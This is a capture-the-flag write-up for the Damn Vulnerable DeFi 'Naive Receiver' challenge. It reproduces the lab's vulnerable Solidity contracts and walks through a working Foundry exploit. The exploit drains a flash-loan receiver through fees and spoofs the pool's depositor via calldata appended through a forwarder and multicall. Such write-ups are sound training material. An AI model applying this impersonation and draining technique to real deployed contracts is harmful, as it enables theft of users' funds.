WriteUp for NaiveReceiver
Hello h4ck3r, welcome to the world of DeFi security! Working through challenges on Damn Vulnerable DeFi will sharpen your skills in identifying and exploiting vulnerabilities within decentralized finance protocols. Each challenge represents a specific DeFi exploit scenario, allowing you to test strategies for attacking smart contracts and understand the underlying mechanics of DeFi. If you’re new to Solidity and DeFi principles, You might need to solve Ethernaut first to get an overview of common exploits and vulnerabilities in smart contracts, which will be essential for tackling these challenges.
Key Concepts to Learn
In Solidity, low-level calls don’t strictly validate the calldata, which can lead to unintended behavior. For instance, if a function does not take any input parameters, you can still construct calldata that includes the function selector followed by extra data. When this function is called, it will execute successfully, and msg.data will contain the full calldata, including the extra appended data along with the function selector. This behavior can be leveraged in specific exploit scenarios, where functions process msg.data directly, potentially leading to unexpected results or vulnerabilities.
Check the below example.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract Test{
5 bytes public data;
6 function hello()public{
7 data=msg.data;
8 }
9}
10
11
12contract Test1{
13 Test test;
14 constructor(address _addr){
15 test=Test(_addr);
16 }
17 function call_hello()public{
18 bytes8 call_data=bytes8(keccak256(abi.encodePacked("hello()")));
19 bytes memory call_data1=abi.encodePacked(call_data);
20 (bool success,)=address(test).call(call_data1);
21 require(success,"Call Failed");
22 }
23}
I suggest you to try out this example in remix before going through the further solution.
First, deploy the Test
contract. Then, pass the address of the deployed Test
contract as an argument to the constructor of the Test1
contract and deploy the Test1
contract.
Then call the call_hello()
function in the Test1
contract. Once the call is successful, check the value of data
in the Test
contract. Now directly call the hello()
function in the Test
contract and once the call is successful, check the value of data
.
You can observe that the first time you check, the value of data
is 0x19ff1d210e06a53e
, and the second time you check, the value is 0x19ff1d21
.
The difference is that the second time we are directly calling the hello()
function from our EOA using Remix, whereas the first time we are calling hello()
from another contract, and in that contract, we are constructing calldata to call the hello()
function along with some other data.
From this, we can conclude that when we send some data to a function more than the parameters it is expecting, the call won’t be reverted.
This understanding is crucial to solve this challenge. Once you understand this, I would suggest you go through the challenge once again and try to solve it before going to the Exploit part.
If you are a person who doesn’t know EIP712 or EIP3156, I would suggest you go through the EIPs and then try to solve the challenge.
Exploit
The below are the source contracts.
- BasicForwader contract
1// SPDX-License-Identifier: MIT
2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
3pragma solidity =0.8.25;
4
5import {EIP712} from "solady/utils/EIP712.sol";
6import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
7import {Address} from "@openzeppelin/contracts/utils/Address.sol";
8
9interface IHasTrustedForwarder {
10 function trustedForwarder() external view returns (address);
11}
12
13contract BasicForwarder is EIP712 {
14 struct Request {
15 address from;
16 address target;
17 uint256 value;
18 uint256 gas;
19 uint256 nonce;
20 bytes data;
21 uint256 deadline;
22 }
23
24 error InvalidSigner();
25 error InvalidNonce();
26 error OldRequest();
27 error InvalidTarget();
28 error InvalidValue();
29
30 bytes32 private constant _REQUEST_TYPEHASH = keccak256(
31 "Request(address from,address target,uint256 value,uint256 gas,uint256 nonce,bytes data,uint256 deadline)"
32 );
33
34 mapping(address => uint256) public nonces;
35
36 /**
37 * @notice Check request and revert when not valid. A valid request must:
38 * - Include the expected value
39 * - Not be expired
40 * - Include the expected nonce
41 * - Target a contract that accepts this forwarder
42 * - Be signed by the original sender (`from` field)
43 */
44 function _checkRequest(Request calldata request, bytes calldata signature) private view {
45 if (request.value != msg.value) revert InvalidValue();
46 if (block.timestamp > request.deadline) revert OldRequest();
47 if (nonces[request.from] != request.nonce) revert InvalidNonce();
48
49 if (IHasTrustedForwarder(request.target).trustedForwarder() != address(this)) revert InvalidTarget();
50
51 address signer = ECDSA.recover(_hashTypedData(getDataHash(request)), signature);
52 if (signer != request.from) revert InvalidSigner();
53 }
54
55 function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) {
56 _checkRequest(request, signature);
57
58 nonces[request.from]++;
59
60 uint256 gasLeft;
61 uint256 value = request.value; // in wei
62 address target = request.target;
63 bytes memory payload = abi.encodePacked(request.data, request.from);
64 uint256 forwardGas = request.gas;
65 assembly {
66 success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata
67 gasLeft := gas()
68 }
69
70 if (gasLeft < request.gas / 63) {
71 assembly {
72 invalid()
73 }
74 }
75 }
76
77 function _domainNameAndVersion() internal pure override returns (string memory name, string memory version) {
78 name = "BasicForwarder";
79 version = "1";
80 }
81
82 function getDataHash(Request memory request) public pure returns (bytes32) {
83 return keccak256(
84 abi.encode(
85 _REQUEST_TYPEHASH,
86 request.from,
87 request.target,
88 request.value,
89 request.gas,
90 request.nonce,
91 keccak256(request.data),
92 request.deadline
93 )
94 );
95 }
96
97 function domainSeparator() external view returns (bytes32) {
98 return _domainSeparator();
99 }
100
101 function getRequestTypehash() external pure returns (bytes32) {
102 return _REQUEST_TYPEHASH;
103 }
104}
- FlashLoanReceiver contract
1// SPDX-License-Identifier: MIT
2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
3pragma solidity =0.8.25;
4
5import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
6import {WETH, NaiveReceiverPool} from "./NaiveReceiverPool.sol";
7
8contract FlashLoanReceiver is IERC3156FlashBorrower {
9 address private pool;
10
11 constructor(address _pool) {
12 pool = _pool;
13 }
14
15 function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
16 external
17 returns (bytes32)
18 {
19 assembly {
20 // gas savings
21 if iszero(eq(sload(pool.slot), caller())) {
22 mstore(0x00, 0x48f5c3ed)
23 revert(0x1c, 0x04)
24 }
25 }
26
27 if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();
28
29 uint256 amountToBeRepaid;
30 unchecked {
31 amountToBeRepaid = amount + fee;
32 }
33
34 _executeActionDuringFlashLoan();
35
36 // Return funds to pool
37 WETH(payable(token)).approve(pool, amountToBeRepaid);
38
39 return keccak256("ERC3156FlashBorrower.onFlashLoan");
40 }
41
42 // Internal function where the funds received would be used
43 function _executeActionDuringFlashLoan() internal {}
44}
- Multicall contract
1// SPDX-License-Identifier: MIT
2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
3pragma solidity =0.8.25;
4
5import {Address} from "@openzeppelin/contracts/utils/Address.sol";
6import {Context} from "@openzeppelin/contracts/utils/Context.sol";
7
8abstract contract Multicall is Context {
9 function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
10 results = new bytes[](data.length);
11 for (uint256 i = 0; i < data.length; i++) {
12 results[i] = Address.functionDelegateCall(address(this), data[i]);
13 }
14 return results;
15 }
16}
- NavieReceiverPool contract
1// SPDX-License-Identifier: MIT
2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
3pragma solidity =0.8.25;
4
5import {IERC3156FlashLender} from "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
6import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
7import {FlashLoanReceiver} from "./FlashLoanReceiver.sol";
8import {Multicall} from "./Multicall.sol";
9import {WETH} from "solmate/tokens/WETH.sol";
10
11contract NaiveReceiverPool is Multicall, IERC3156FlashLender {
12 uint256 private constant FIXED_FEE = 1e18; // not the cheapest flash loan
13 bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
14
15 WETH public immutable weth;
16 address public immutable trustedForwarder;
17 address public immutable feeReceiver;
18
19 mapping(address => uint256) public deposits;
20 uint256 public totalDeposits;
21
22 error RepayFailed();
23 error UnsupportedCurrency();
24 error CallbackFailed();
25
26 constructor(address _trustedForwarder, address payable _weth, address _feeReceiver) payable {
27 weth = WETH(_weth);
28 trustedForwarder = _trustedForwarder;
29 feeReceiver = _feeReceiver;
30 _deposit(msg.value);
31 }
32
33 function maxFlashLoan(address token) external view returns (uint256) {
34 if (token == address(weth)) return weth.balanceOf(address(this));
35 return 0;
36 }
37
38 function flashFee(address token, uint256) external view returns (uint256) {
39 if (token != address(weth)) revert UnsupportedCurrency();
40 return FIXED_FEE;
41 }
42
43 function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
44 external
45 returns (bool)
46 {
47 if (token != address(weth)) revert UnsupportedCurrency();
48
49 // Transfer WETH and handle control to receiver
50 weth.transfer(address(receiver), amount);
51 totalDeposits -= amount;
52
53 if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
54 revert CallbackFailed();
55 }
56
57 uint256 amountWithFee = amount + FIXED_FEE;
58 weth.transferFrom(address(receiver), address(this), amountWithFee);
59 totalDeposits += amountWithFee;
60
61 deposits[feeReceiver] += FIXED_FEE;
62
63 return true;
64 }
65
66 function withdraw(uint256 amount, address payable receiver) external {
67 // Reduce deposits
68 deposits[_msgSender()] -= amount;
69 totalDeposits -= amount;
70
71 // Transfer ETH to designated receiver
72 weth.transfer(receiver, amount);
73 }
74
75 function deposit() external payable {
76 _deposit(msg.value);
77 }
78
79 function _deposit(uint256 amount) private {
80 weth.deposit{value: amount}();
81
82 deposits[_msgSender()] += amount;
83 totalDeposits += amount;
84 }
85
86 function _msgSender() internal view override returns (address) {
87 if (msg.sender == trustedForwarder && msg.data.length >= 20) {
88 return address(bytes20(msg.data[msg.data.length - 20:]));
89 } else {
90 return super._msgSender();
91 }
92 }
93}
The below is the test contract where we write our exploit logic. 5. NavieReceiver contract
1// SPDX-License-Identifier: MIT
2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
3pragma solidity =0.8.25;
4
5import {Test, console} from "forge-std/Test.sol";
6import {NaiveReceiverPool, Multicall, WETH} from "../../src/naive-receiver/NaiveReceiverPool.sol";
7import {FlashLoanReceiver} from "../../src/naive-receiver/FlashLoanReceiver.sol";
8import {BasicForwarder} from "../../src/naive-receiver/BasicForwarder.sol";
9
10contract NaiveReceiverChallenge is Test {
11 address deployer = makeAddr("deployer");
12 address recovery = makeAddr("recovery");
13 address player;
14 uint256 playerPk;
15
16 uint256 constant WETH_IN_POOL = 1000e18;
17 uint256 constant WETH_IN_RECEIVER = 10e18;
18
19 NaiveReceiverPool pool;
20 WETH weth;
21 FlashLoanReceiver receiver;
22 BasicForwarder forwarder;
23
24 modifier checkSolvedByPlayer() {
25 vm.startPrank(player, player);
26 _;
27 vm.stopPrank();
28 _isSolved();
29 }
30
31 /**
32 * SETS UP CHALLENGE - DO NOT TOUCH
33 */
34 function setUp() public {
35 (player, playerPk) = makeAddrAndKey("player");
36 startHoax(deployer);
37
38 // Deploy WETH
39 weth = new WETH();
40
41 // Deploy forwarder
42 forwarder = new BasicForwarder();
43
44 // Deploy pool and fund with ETH
45 pool = new NaiveReceiverPool{value: WETH_IN_POOL}(address(forwarder), payable(weth), deployer);
46
47 // Deploy flashloan receiver contract and fund it with some initial WETH
48 receiver = new FlashLoanReceiver(address(pool));
49 weth.deposit{value: WETH_IN_RECEIVER}();
50 weth.transfer(address(receiver), WETH_IN_RECEIVER);
51
52 vm.stopPrank();
53 }
54
55 function test_assertInitialState() public {
56 // Check initial balances
57 assertEq(weth.balanceOf(address(pool)), WETH_IN_POOL);
58 assertEq(weth.balanceOf(address(receiver)), WETH_IN_RECEIVER);
59
60 // Check pool config
61 assertEq(pool.maxFlashLoan(address(weth)), WETH_IN_POOL);
62 assertEq(pool.flashFee(address(weth), 0), 1 ether);
63 assertEq(pool.feeReceiver(), deployer);
64
65 // Cannot call receiver
66 vm.expectRevert(0x48f5c3ed);
67 receiver.onFlashLoan(
68 deployer,
69 address(weth), // token
70 WETH_IN_RECEIVER, // amount
71 1 ether, // fee
72 bytes("") // data
73 );
74 }
75
76 /**
77 * CODE YOUR SOLUTION HERE
78 */
79 function test_naiveReceiver() public checkSolvedByPlayer {
80 ///////////////////////////////////
81 // Empty Receiver Balance//////////
82 ///////////////////////////////////
83
84 for (uint8 i = 0; i < 10; i++) {
85 pool.flashLoan(receiver, address(weth), WETH_IN_POOL, bytes(""));
86 }
87
88 ///////////////////////////////////
89 // Withdraw All Funds To Recovery//
90 ///////////////////////////////////
91
92 uint256 total = WETH_IN_POOL + WETH_IN_RECEIVER;
93 bytes memory Withdrawdata = abi.encodeWithSignature("withdraw(uint256,address)", total, recovery, deployer);
94 bytes[] memory multicall_data_array = new bytes[](1);
95 multicall_data_array[0] = Withdrawdata;
96 bytes memory multicallEncodedData = abi.encodeWithSignature("multicall(bytes[])", multicall_data_array);
97 BasicForwarder.Request memory executeRequest = BasicForwarder.Request({
98 from: player,
99 target: address(pool),
100 value: 0,
101 gas: 100000,
102 nonce: vm.getNonce(player),
103 data: multicallEncodedData,
104 deadline: block.timestamp + 1000
105 });
106
107 bytes32 digest =
108 keccak256(abi.encodePacked("\x19\x01", forwarder.domainSeparator(), forwarder.getDataHash(executeRequest)));
109
110 (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
111
112 forwarder.execute(executeRequest, abi.encodePacked(r, s, v));
113 }
114
115 /**
116 * CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
117 */
118 function _isSolved() private view {
119 // Player must have executed two or less transactions
120 assertLe(vm.getNonce(player), 2);
121
122 // The flashloan receiver contract has been emptied
123 assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
124
125 // Pool is empty too
126 assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
127
128 // All funds sent to recovery account
129 assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
130 }
131}
In this challenge our task is to make _isSolved()
function return true.
1function _isSolved() private view {
2 // Player must have executed two or less transactions
3 assertLe(vm.getNonce(player), 2);
4
5 // The flashloan receiver contract has been emptied
6 assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
7
8 // Pool is empty too
9 assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
10
11 // All funds sent to recovery account
12 assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
13}
The _isSolved()
will be passed if we make the balance of WETH tokens in the receiver and pool zero and transfer all those tokens to the recovery address. You can look into setUp() function in test contract to understand how everything is deployed.
Now, without any delay, let’s dive into the key functions which has the exploit.
1function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
2 external
3 returns (bool)
4 {
5 if (token != address(weth)) revert UnsupportedCurrency();
6
7 // Transfer WETH and handle control to receiver
8 weth.transfer(address(receiver), amount);
9 totalDeposits -= amount;
10
11 if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
12 revert CallbackFailed();
13 }
14
15 uint256 amountWithFee = amount + FIXED_FEE;
16 weth.transferFrom(address(receiver), address(this), amountWithFee);
17 totalDeposits += amountWithFee;
18
19 deposits[feeReceiver] += FIXED_FEE;
20
21 return true;
22}
This function is from the NaiveReceiverPool
contract. When someone calls the flashLoan()
function, it will send the WETH tokens to the receiver passed and then call the onFlashLoan
function. The receiver must pay back the WETH tokens within the same transaction along with the fee. If they fail to pay, the transaction will revert. While calling the onFlashLoan
function, it will pass the address of msg.sender
(loan initiator) as the first argument.
Since the flashLoan()
is calling onFlashLoan()
on the receiver, the receiver must be a contract.
1function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
2 external
3 returns (bytes32)
4 {
5 assembly {
6 // gas savings
7 if iszero(eq(sload(pool.slot), caller())) {
8 mstore(0x00, 0x48f5c3ed)
9 revert(0x1c, 0x04)
10 }
11 }
12
13 if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();
14
15 uint256 amountToBeRepaid;
16 unchecked {
17 amountToBeRepaid = amount + fee;
18 }
19
20 _executeActionDuringFlashLoan();
21
22 // Return funds to pool
23 WETH(payable(token)).approve(pool, amountToBeRepaid);
24
25 return keccak256("ERC3156FlashBorrower.onFlashLoan");
26}
This function is from the NaiveReceiver
contract. It will check if the pool has been set or not. If it is not set, it will revert; otherwise, it will continue executing. Then it will check whether the loan given is a WETH token or not. If it is not, it will revert; otherwise, it will continue execution. Then it will add the loan taken and the fee. Then it will call _executeActionDuringFlashLoan()
. Once the call is completed, it will approve the pool contract to transfer WETH tokens and return the success message.
It is making all necessary checks, but it is not checking who actually executed the loan. So if we call the flashLoan()
function in NaiveReceiverPool
from our contract by passing the receiver as the receiver contract address, then it will initiate a loan to the receiver contract, and the receiver contract will use the loan amount and repay the loan amount along with the fee within the transaction.
Since the fee is 1 WETH token for every loan, it will transfer 1 WETH token. So if we initiate a loan to the receiver contract 10 times, then the receiver contract balance will be zero.
Our next goal is to make the pool balance as zero and transfer WETH from pool to recovery address.
1function _msgSender() internal view override returns (address) {
2 if (msg.sender == trustedForwarder && msg.data.length >= 20) {
3 return address(bytes20(msg.data[msg.data.length - 20:]));
4 } else {
5 return super._msgSender();
6 }
7}
The above function is from the NaiveReceiver
contract. When it is called, it will check if the msg.sender
(caller) is the BasicForwarder
contract or not. If it is the BasicForwarder
contract, it will return the last 20 bytes of calldata sent by the BasicForwarder
contract. If the msg.sender
is another address, then it will just return the address of the caller.
1function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) {
2 _checkRequest(request, signature);
3
4 nonces[request.from]++;
5
6 uint256 gasLeft;
7 uint256 value = request.value; // in wei
8 address target = request.target;
9 bytes memory payload = abi.encodePacked(request.data, request.from);
10 uint256 forwardGas = request.gas;
11 assembly {
12 success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata
13 gasLeft := gas()
14 }
15
16 if (gasLeft < request.gas / 63) {
17 assembly {
18 invalid()
19 }
20 }
21}
The above function is from the BasicForwarder
contract. It will check whether the signature passed to the function is signed by the from
member of the struct. Once the _checkRequest()
is passed, it will encode the data
member and from
member from the Request
struct and assign it to payload
. Then it will make a call to the target
member of the Request
struct passed. payload
is calldata that is sent to the target. The last 20 bytes of payload
will be the address of the from
member of the Request
struct.
Using the execute
function, if we call any function in the NaiveReceiverPool
contract other than multicall()
, then _msgSender()
in NaiveReceiverPool
will return the address of the from
member of the Request
struct.
1function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
2 results = new bytes[](data.length);
3 for (uint256 i = 0; i < data.length; i++) {
4 results[i] = Address.functionDelegateCall(address(this), data[i]);
5 }
6 return results;
7}
But using the execute
function, if we call the multicall()
function in NaiveReceiverPool
, then execute
will add the from
member of the Request
struct to the data
member of the Request
struct and pass it to multicall()
. Since our data only contains calldata to call multicall()
, the multicall()
function won’t care about the next 20 bytes appended by the execute()
function to our actual data.
The multicall()
function will take a bytes array as input and make a delegate call to NaiveReceiverPool
by passing each element of the bytes array as data. Since we are calling multicall()
using the execute()
function in BasicForwarder
, whatever data we need to pass to the multicall()
function, we need to construct it before and send the data as the data
member of the Request
struct.
1function withdraw(uint256 amount, address payable receiver) external {
2 // Reduce deposits
3 deposits[_msgSender()] -= amount;
4 totalDeposits -= amount;
5
6 // Transfer ETH to designated receiver
7 weth.transfer(receiver, amount);
8}
So if we pass a bytes array containing calldata to the withdraw()
function as an argument to multicall()
, then it will check the necessary conditions and transfer WETH to the receiver from the address returned by _msgSender()
.
When we call multicall()
, it will make a delegate call. During a delegate call, the msg.sender
and msg.value
will be passed to the next call as the msg.sender
who called the multicall()
function and the msg.value
sent during the multicall()
function. However, msg.data
will not be the same for both calls. For multicall()
, the msg.data
will be the data sent by execute()
, and for withdraw()
, the msg.data
will be the data sent by the multicall()
function.
So while constructing data for the withdraw()
function, if we add an extra 20 bytes as the address of the deployer, then the withdraw()
function will be called and it will call _msgSender()
. _msgSender()
will return the address of the deployer, and since the deployer is holding the entire WETH, the NaiveReceiverPool
will transfer the WETH to whatever address we pass. Since our task is to transfer all WETH from NaiveReceiverPool
to the recovery address, we need to pass the recovery address in the withdraw()
function.
The below is the Exploit logic.
1function test_naiveReceiver() public checkSolvedByPlayer {
2 ///////////////////////////////////
3 // Empty Receiver Balance//////////
4 ///////////////////////////////////
5
6 for (uint8 i = 0; i < 10; i++) {
7 pool.flashLoan(receiver, address(weth), WETH_IN_POOL, bytes(""));
8 }
9
10 ///////////////////////////////////
11 // Withdraw All Funds To Recovery//
12 ///////////////////////////////////
13
14 uint256 total = WETH_IN_POOL + WETH_IN_RECEIVER;
15 bytes memory Withdrawdata = abi.encodeWithSignature("withdraw(uint256,address)", total, recovery, deployer);
16 bytes[] memory multicall_data_array = new bytes[](1);
17 multicall_data_array[0] = Withdrawdata;
18 bytes memory multicallEncodedData = abi.encodeWithSignature("multicall(bytes[])", multicall_data_array);
19 BasicForwarder.Request memory executeRequest = BasicForwarder.Request({
20 from: player,
21 target: address(pool),
22 value: 0,
23 gas: 100000,
24 nonce: vm.getNonce(player),
25 data: multicallEncodedData,
26 deadline: block.timestamp + 1000
27 });
28
29 bytes32 digest =
30 keccak256(abi.encodePacked("\x19\x01", forwarder.domainSeparator(), forwarder.getDataHash(executeRequest)));
31
32 (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
33
34 forwarder.execute(executeRequest, abi.encodePacked(r, s, v));
35}
That’s it for this challenge. Hope you enjoyed it. If you have any queries, leave a comment below.
Comments